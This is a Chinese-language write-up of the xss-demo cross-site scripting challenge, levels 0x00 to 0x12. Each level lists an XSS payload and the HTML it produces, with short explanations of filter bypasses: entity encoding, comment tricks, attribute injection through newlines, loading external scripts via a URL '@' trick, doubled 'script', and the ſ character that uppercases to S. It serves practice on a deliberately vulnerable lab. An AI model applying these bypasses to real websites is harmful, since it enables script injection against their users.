项目地址:https://github.com/haozi/xss-demo
0x00
input
1 | <script>alert(1)</script> |
html
1 | <div><script>alert(1)</script></div> |
server code
1 | function render (input) { |
0x01
input
1 | </textarea><script>alert(1)</script> |
html
1 | <textarea></textarea><script>alert(1)</script></textarea> |
server code
1 | function render (input) { |
0x02
input
1 | "><script>alert(1)</script> |
html
1 | <input type="name" value=""><script>alert(1)</script>"> |
server code
1 | function render (input) { |
0x03
input
既然用正则表达式过滤了括号,那么可以对括号进行实体编码
1 | <svg><script></script> |
or
16进制
1 | <svg><script></script> |
另,更简单的方式
1 | <script>alert`1`</script> |
html
1 | <svg><script></script> |
server code
1 | function render (input) { |
0x04
相比上一关多过滤了`反引号,可继续使用上一关payload
input
1 | <svg><script></script> |
另
1 | <script>window.onerror=eval;throw'=alert\x281\x29'</script> |
html
1 | <svg><script></script> |
server code
1 | function render (input) { |
0x05
html注释两种形式
<!-- xxx -->
<!- xxx -!>
<!- 以!开头,以!结尾对称注释的方式 -!>
input
1 | --!><script>alert(1)</script> |
html
1 | <!-- --!><script>alert(1)</script> --> |
server code
1 | function render (input) { |
0x06
利用换行绕过
input
1 | type=image src onerror |
另
1 | onmousemove |
html
1 | <input value=1 type=image src onerror |
server code
1 | function render (input) { |
0x07
这个正则表达式匹配以<开头,>结尾的标签字符串,将其替换为_,可以用空格或换行绕过
input
1 | <svg/onload=alert(1) |
html
1 | <article><svg/onload=alert(1) |
server code
1 | function render (input) { |
0x08
正则限制了闭合<style>
标签,可通过换行或闭合之前添加空格进行绕过
input
1 | </style ><script>alert(1)</script> |
html
1 | <style> |
server code
1 | function render (src) { |
0x09
构造以 http://www.segmentfault.com 开头的字符串,在闭合script
标签之后加入payload
input
1 | http://www.segmentfault.com"></script><script>alert(1)</script> |
html
1 | <script src="http://www.segmentfault.com"></script><script>alert(1)</script>"></script> |
server code
1 | function render (input) { |
0x0A
在上一关的基础上添加了对<
,>
,/
等特殊符号的转义
这里需要用到@
,利用url的@
特性,引入外部js,访问www.baidu.com@evil.com ,实际会访问evil.com
xss.haozi.me/j.js内容为alert(1);
另外,/会被html实体编码,但由于输入位置位于html标签属性中,编码并不影响解析
BTW,实测在chrome 98.0版本无法弹窗,推测是chrome url @机制改变,在firefox 97.0可正常弹窗
input
1 | https://www.segmentfault.com@xss.haozi.me/j.js |
html
1 | <script src="https://www.segmentfault.com@xss.haozi.me/j.js"></script> |
server code
1 | function render (input) { |
0x0B
本关将所有输入转为大写,可利用<script>
标签src属性引入外部js
另一种思路,利用img
标签弹窗,对alert进行实体编码
input
1 | <script src="https://xss.haozi.me/j.js"></script> |
or
1 | <img src=x onerror=alert(1)> |
html
1 | <h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1> |
server code
1 | function render (input) { |
0x0C
本关在上一关的基础上添加了对script的过滤,将script替换为空,因此可直接用上一个第二个payload
或者,注意到script只替换了一次,因此可对其进行双写绕过
input
1 | <img src=x onerror=alert(1)> |
or
1 | <scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt> |
html
1 | <h1><IMG SRC=X ONERROR=alert(1)></h1> |
server code
1 | function render (input) { |
0x0D
过滤了<
、/
、'
、"
,可通过换行绕过alert的注释,还需要注释掉末尾的')
,可利用html的注释符
input
1 | alert(1); |
html
1 | <script> |
server code
1 | function render (input) { |
0x0E
这个正则检测<
后跟的字符,并在字符前加上_
,之后将字母大写,这个想不到怎么绕过,看了以下其他大佬的姿势,利用特殊字符ſ
(古英语中s的写法),大写后为S,引入外部js
input
1 | <ſcript src="https://xss.haozi.me/j.js"></script> |
html
1 | <h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1> |
server code
1 | function render (input) { |
0x0F
看似正则把单引号、双引号、尖括号和/
都实体编码了,但注入点在img
标签的onerror属性中,这里进行实体编码完全没有作用
input
1 | ');alert(1)// |
html
1 | <img src onerror="console.error('');alert(1)//')"> |
server code
1 | function render (input) { |
0x10
input
1 | 1;alert(1) |
html
1 | <script> |
server code
1 | function render (input) { |
0x11
常见字符单引号、双引号、尖括号、换行符和\
都会被转义
input
1 | "),alert(1)// |
html
1 | <script> |
这个看了好久才明白
第一个反斜杠没有转义双引号,因为后边双引号被注释掉了,因此这里双引号即是log函数结尾,可正常弹窗
server code
1 | // from alf.nu |
0x12
只转义了双引号,可在双引号前加反斜杠绕过
input
1 | \");alert(1)</script>// |
or
1 | </script> |
html
1 | <script>console.log("\\");alert(1)</script>//");</script> |
server code
1 | // from alf.nu |